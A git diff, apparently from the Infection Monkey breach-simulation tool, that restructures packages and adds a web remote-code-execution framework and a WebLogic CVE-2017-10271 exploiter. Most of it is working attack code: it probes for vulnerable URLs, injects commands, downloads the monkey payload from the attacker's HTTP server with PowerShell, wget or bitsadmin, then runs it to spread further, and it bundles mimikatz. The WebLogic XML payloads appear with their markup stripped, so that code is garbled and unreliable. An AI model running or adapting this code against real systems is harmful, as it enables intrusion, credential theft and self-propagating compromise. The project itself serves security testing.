are of service names + """ + candidate_services = {} + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service] and self.host.services[service]['name'] in names) + }) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + tcp_port_to_service(port) in candidate_services] + + return valid_ports + + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("Port %d is closed on %r, skipping", port, self.host) + return False + return True + + def get_command(self, path, http_path, commands): + try: + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False + + def build_potential_urls(self, ports, extensions=None): + """ + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) + if not url_list: + LOG.info("No attack url's were built") + return url_list + + def add_vulnerable_urls(self, urls, stop_checking=False): + """ + Gets vulnerable url(s) from url list + :param urls: Potentially vulnerable urls + :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :return: None (we append to class variable vulnerable_urls) + """ + for url in urls: + if self.check_if_exploitable(url): + self.vulnerable_urls.append(url) + if stop_checking: + break + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found, skipping.") + # We add urls to param used in reporting + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + + def get_host_arch(self, url): + """ + :param url: Url for exploiter to use + :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... + """ + if 'linux' in self.host.os['type']: + resp = self.exploit(url, GET_ARCH_LINUX) + if resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + try: + arch = arch.group(1) + except AttributeError: + LOG.error("Looked for linux architecture but could not find it") + return False + if arch: + return arch + else: + LOG.info("Could not pull machine architecture string from command's output") + return False + else: + return False + else: + resp = self.exploit(url, GET_ARCH_WINDOWS) + if resp: + if "64-bit" in resp: + return WIN_ARCH_64 + else: + return WIN_ARCH_32 + else: + return False + + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path + resp = self.exploit(url, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True + + def check_remote_files(self, url): + """ + :param url: Url for exploiter to use + :return: True if at least one file is found, False otherwise + """ + paths = [] + if 'linux' in self.host.os['type']: + paths.append(self.monkey_target_paths['linux']) + else: + paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) + for path in paths: + if self.check_remote_monkey_file(url, path): + return True + return False + + # Wrapped functions: + def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ + ports = self.get_open_service_ports(ports, names) + if not ports: + LOG.info("All default web ports are closed on %r, skipping", host) + return False + else: + return ports + + def set_host_arch(self, url): + arch = self.get_host_arch(url) + if not arch: + LOG.error("Couldn't get host machine's architecture") + return False + else: + self.host.os['machine'] = arch + return True + + def run_backup_commands(self, resp, url, dest_path, http_path): + """ + If you need multiple commands for the same os you can override this method to add backup commands + :param resp: Response from base command + :param url: Vulnerable url + :param dest_path: Where to upload monkey + :param http_path: Where to download monkey from + :return: Command's response (same response if backup command is not needed) + """ + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + resp = self.exploit(url, backup_command) + return resp + + def upload_monkey(self, url, commands=None): + """ + :param url: Where exploiter should send it's request + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :return: {'response': response/False, 'path': monkeys_path_in_host} + """ + LOG.info("Trying to upload monkey to the host.") + if not self.host.os['type']: + LOG.error("Unknown target's os type. Skipping.") + return False + paths = self.get_monkey_paths() + if not paths: + return False + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + # Choose command: + if not commands: + commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} + command = self.get_command(paths['dest_path'], http_path, commands) + + resp = self.exploit(url, command) + + resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Uploading process finished") + # If response is false exploiter failed + if resp is False: + return resp + else: + return {'response': resp, 'path': paths['dest_path']} + + def change_permissions(self, url, path, command=None): + """ + Method for linux hosts. Makes monkey executable + :param url: Where to send malicious packets + :param path: Path to monkey on remote host + :param command: Formatted command for permission change or None + :return: response, False if failed and True if permission change is not needed + """ + LOG.info("Changing monkey's permissions") + if 'windows' in self.host.os['type']: + LOG.info("Permission change not required for windows") + return True + if not command: + command = CHMOD_MONKEY % {'monkey_path': path} + try: + resp = self.exploit(url, command) + except Exception as e: + LOG.error("Something went wrong while trying to change permission: %s" % e) + return False + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Permission change finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'Operation not permitted' in resp: + LOG.error("Missing permissions to make monkey executable") + return False + elif 'No such file or directory' in resp: + LOG.error("Could not change permission because monkey was not found. Check path parameter.") + return False + LOG.info("Permission change finished") + return resp + + def execute_remote_monkey(self, url, path, dropper=False): + """ + This method executes remote monkey + :param url: Where to send malicious packets + :param path: Path to monkey on remote host + :param dropper: Should remote monkey be executed with dropper or with monkey arg? + :return: Response or False if failed + """ + LOG.info("Trying to execute remote monkey") + # Get monkey command line + if dropper and path: + # If dropper is chosen we try to move monkey to default location + default_path = self.get_default_dropper_path() + if default_path is False: + return False + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + else: + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + try: + resp = self.exploit(url, command) + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Execution attempt successfully finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'is not recognized' in resp or 'command not found' in resp: + LOG.error("Wrong path chosen or other process already deleted monkey") + return False + elif 'The system cannot execute' in resp: + LOG.error("System could not execute monkey") + return False + except Exception as e: + LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + return False + LOG.info("Execution attempt finished") + return resp + + def get_monkey_upload_path(self, url_to_monkey): + """ + Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from self.monkey_target_paths + """ + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return self.monkey_target_paths['linux'] + elif 'windows-32' in url_to_monkey: + return self.monkey_target_paths['win32'] + elif 'windows-64' in url_to_monkey: + return self.monkey_target_paths['win64'] + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except KeyError: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") + return False + + def get_monkey_paths(self): + """ + Gets local (used by server) and destination (where to download) paths. + :return: dict of source and destination paths + """ + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + dest_path = self.get_monkey_upload_path(src_path) + if not dest_path: + return False + return {'src_path': src_path, 'dest_path': dest_path} + + def get_default_dropper_path(self): + """ + Gets default dropper path for the host. + :return: Default monkey's destination path for corresponding host or False if failed. + E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host + """ + if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + LOG.error("Target's OS was either unidentified or not supported. Aborting") + return False + if self.host.os['type'] == 'linux': + return self._config.dropper_target_path_linux + if self.host.os['type'] == 'windows': + try: + if self.host.os['machine'] == WIN_ARCH_64: + return self._config.dropper_target_path_win_64 + except KeyError: + LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + return self._config.dropper_target_path_win_32 diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py new file mode 100644 index 000000000..ac78555af --- /dev/null +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -0,0 +1,197 @@ +# Exploit based of: +# Kevin Kirsche (d3c3pt10n) +# https://github.com/kkirsche/CVE-2017-10271 +# and +# Luffin from Github +# https://github.com/Luffin/CVE-2017-10271 +# CVE: CVE-2017-10271 + +from requests import post, exceptions +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +import threading +import logging + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long to wait for a request to go to vuln machine and then to our server from there. In seconds +REQUEST_TIMEOUT = 2 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] +# Malicious request's headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } + + +class WebLogicExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + 'win32': 'monkey32.exe', + 'win64': 'monkey64.exe'}) + + def get_exploit_config(self): + exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config['blind_exploit'] = True + exploit_config['stop_checking_urls'] = True + exploit_config['url_extensions'] = URLS + return exploit_config + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') + else: + payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') + try: + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + except Exception as e: + print('[!] Connection Error') + print(e) + return True + + def check_if_exploitable(self, url): + # Server might get response faster than it starts listening to it, we need a lock + httpd, lock = self._start_http_server() + payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) + try: + post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + except exceptions.ReadTimeout: + # Our request does not get response thus we get ReadTimeout error + pass + except Exception as e: + LOG.error("Something went wrong: %s" % e) + self._stop_http_server(httpd, lock) + return httpd.get_requests > 0 + + def _start_http_server(self): + """ + Starts custom http server that waits for GET requests + :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock) + """ + lock = threading.Lock() + local_port = get_free_tcp_port() + local_ip = get_interface_to_target(self.host.ip_addr) + httpd = self.IndicationHTTPServer(local_ip, local_port, lock) + lock.acquire() + httpd.start() + lock.acquire() + return httpd, lock + + def _stop_http_server(self, httpd, lock): + lock.release() + httpd.join(SERVER_TIMEOUT) + httpd.stop() + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used in exploiting weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload + + @staticmethod + def get_test_payload(ip, port): + """ + Gets payload used for testing whether weblogic server is vulnerable + :param ip: Server's IP + :param port: Server's port + :return: Formatted payload + """ + generic_check_payload = ''' + + + + + http://{host}:{port} + + + + + + + + + + ''' + payload = generic_check_payload.format(host=ip, port=port) + return payload + + class IndicationHTTPServer(threading.Thread): + """ + Http server built to wait for GET requests. Because oracle web logic vuln is blind, + we determine if we can exploit by either getting a GET request from host or not. + """ + def __init__(self, local_ip, local_port, lock, max_requests=1): + self._local_ip = local_ip + self._local_port = local_port + self.get_requests = 0 + self.max_requests = max_requests + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + self.daemon = True + + def run(self): + class S(BaseHTTPRequestHandler): + @staticmethod + def do_GET(): + LOG.info('Server received a request from vulnerable machine') + self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') + httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd.daemon = True + self.lock.release() + while not self._stopped and self.get_requests < self.max_requests: + httpd.handle_request() + + self._stopped = True + return httpd + + def stop(self): + self._stopped = True diff --git a/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py similarity index 96% rename from infection_monkey/exploit/win_ms08_067.py rename to monkey/infection_monkey/exploit/win_ms08_067.py index 85086bce7..9f8837157 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,11 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) @@ -158,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter): def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ diff --git a/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py similarity index 93% rename from infection_monkey/exploit/wmiexec.py rename to monkey/infection_monkey/exploit/wmiexec.py index 0f9b2ee4c..1a8cb3386 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,10 +5,10 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from tools import build_monkey_commandline +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ + get_monkey_depth, build_monkey_commandline +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS LOG = logging.getLogger(__name__) @@ -18,8 +18,6 @@ class WmiExploiter(HostExploiter): def __init__(self, host): super(WmiExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID @WmiTools.dcom_wrap def exploit_host(self): diff --git a/infection_monkey/main.py b/monkey/infection_monkey/main.py similarity index 92% rename from infection_monkey/main.py rename to monkey/infection_monkey/main.py index 51fd6b9f7..be45afce4 100644 --- a/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,14 +8,11 @@ import os import sys import traceback -from config import WormConfiguration, EXTERNAL_CONFIG_FILE -from dropper import MonkeyDrops -from model import MONKEY_ARG, DROPPER_ARG -from monkey import InfectionMonkey -import utils - -if __name__ == "__main__": - sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE +from infection_monkey.dropper import MonkeyDrops +from infection_monkey.model import MONKEY_ARG, DROPPER_ARG +from infection_monkey.monkey import InfectionMonkey __author__ = 'itamar' @@ -63,7 +60,7 @@ def main(): try: with open(config_file) as config_fo: json_dict = json.load(config_fo) - WormConfiguration.from_dict(json_dict) + WormConfiguration.from_kv(json_dict) except ValueError as e: print("Error loading config: %s, using default" % (e,)) else: diff --git a/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py similarity index 76% rename from infection_monkey/model/__init__.py rename to monkey/infection_monkey/model/__init__.py index a2a1e18bb..f2217623a 100644 --- a/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,4 @@ -from host import VictimHost +from infection_monkey.model.host import VictimHost __author__ = 'itamar' @@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +GET_ARCH_WINDOWS = "wmic os get osarchitecture" +GET_ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py similarity index 100% rename from infection_monkey/model/host.py rename to monkey/infection_monkey/model/host.py diff --git a/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec similarity index 93% rename from infection_monkey/monkey-linux.spec rename to monkey/infection_monkey/monkey-linux.spec index fac69536e..61a2725c4 100644 --- a/infection_monkey/monkey-linux.spec +++ b/monkey/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/infection_monkey/monkey.ico b/monkey/infection_monkey/monkey.ico similarity index 100% rename from infection_monkey/monkey.ico rename to monkey/infection_monkey/monkey.ico diff --git a/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py similarity index 95% rename from infection_monkey/monkey.py rename to monkey/infection_monkey/monkey.py index 8ad1baf8c..efdb43a3c 100644 --- a/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,18 +4,18 @@ import os import subprocess import sys import time - -import tunnel -import utils -from config import WormConfiguration -from control import ControlClient -from model import DELAY_DELETE_CMD -from network.firewall import app as firewall -from network.network_scanner import NetworkScanner from six.moves import xrange -from system_info import SystemInfoCollector -from system_singleton import SystemSingleton -from windows_upgrader import WindowsUpgrader + +import infection_monkey.tunnel as tunnel +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.model import DELAY_DELETE_CMD +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.network_scanner import NetworkScanner +from infection_monkey.system_info import SystemInfoCollector +from infection_monkey.system_singleton import SystemSingleton +from infection_monkey.windows_upgrader import WindowsUpgrader __author__ = 'itamar' diff --git a/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec similarity index 51% rename from infection_monkey/monkey.spec rename to monkey/infection_monkey/monkey.spec index cb9c6130e..f539d61fa 100644 --- a/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -1,22 +1,30 @@ # -*- mode: python -*- import os import platform + +# Name of zip file in monkey. That's the name of the file in the _MEI folder +MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' + + +def get_mimikatz_zip_path(): + if platform.architecture()[0] == "32bit": + return '.\\bin\\mk32.zip' + else: + return '.\\bin\\mk64.zip' + + a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] +a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] +a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] -if platform.system().find("Windows")>= 0: +if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - if platform.architecture()[0] == "32bit": - a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')] - else: - a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')] + a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, @@ -28,4 +36,5 @@ exe = EXE(pyz, debug=False, strip=None, upx=True, - console=True , icon='monkey.ico') + console=True, + icon='monkey.ico') diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py similarity index 100% rename from infection_monkey/monkeyfs.py rename to monkey/infection_monkey/monkeyfs.py diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py new file mode 100644 index 000000000..e43fa7073 --- /dev/null +++ b/monkey/infection_monkey/network/__init__.py @@ -0,0 +1,29 @@ +from abc import ABCMeta, abstractmethod + +__author__ = 'itamar' + + +class HostScanner(object): + __metaclass__ = ABCMeta + + @abstractmethod + def is_host_alive(self, host): + raise NotImplementedError() + + +class HostFinger(object): + __metaclass__ = ABCMeta + + @abstractmethod + def get_host_fingerprint(self, host): + raise NotImplementedError() + +from infection_monkey.network.ping_scanner import PingScanner +from infection_monkey.network.tcp_scanner import TcpScanner +from infection_monkey.network.smbfinger import SMBFinger +from infection_monkey.network.sshfinger import SSHFinger +from infection_monkey.network.httpfinger import HTTPFinger +from infection_monkey.network.elasticfinger import ElasticFinger +from infection_monkey.network.mysqlfinger import MySQLFinger +from infection_monkey.network.info import local_ips, get_free_tcp_port +from infection_monkey.network.mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py similarity index 88% rename from infection_monkey/network/elasticfinger.py rename to monkey/infection_monkey/network/elasticfinger.py index 730decf4f..3d62de687 100644 --- a/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -5,8 +5,9 @@ from contextlib import closing import requests from requests.exceptions import Timeout, ConnectionError -from model.host import VictimHost -from network import HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger ES_PORT = 9200 ES_SERVICE = 'elastic-search-9200' @@ -21,7 +22,7 @@ class ElasticFinger(HostFinger): """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py similarity index 100% rename from infection_monkey/network/firewall.py rename to monkey/infection_monkey/network/firewall.py diff --git a/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py similarity index 89% rename from infection_monkey/network/httpfinger.py rename to monkey/infection_monkey/network/httpfinger.py index 437edbf6c..829c6b1b5 100644 --- a/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,16 +1,18 @@ -from network import HostFinger -from model.host import VictimHost +import infection_monkey.config +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost import logging LOG = logging.getLogger(__name__) + class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS] @staticmethod diff --git a/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py similarity index 100% rename from infection_monkey/network/info.py rename to monkey/infection_monkey/network/info.py diff --git a/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py similarity index 78% rename from infection_monkey/network/mssql_fingerprint.py rename to monkey/infection_monkey/network/mssql_fingerprint.py index 9409c2255..75fde7465 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -1,8 +1,9 @@ import logging import socket -from model.host import VictimHost -from network import HostFinger +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +import infection_monkey.config __author__ = 'Maor Rayzin' @@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger): SERVICE_NAME = 'MSSQL' def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. @@ -29,7 +30,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} diff --git a/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py similarity index 91% rename from infection_monkey/network/mysqlfinger.py rename to monkey/infection_monkey/network/mysqlfinger.py index 39baa05ac..70080c12b 100644 --- a/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -1,9 +1,10 @@ import logging import socket -from model.host import VictimHost -from network import HostFinger -from .tools import 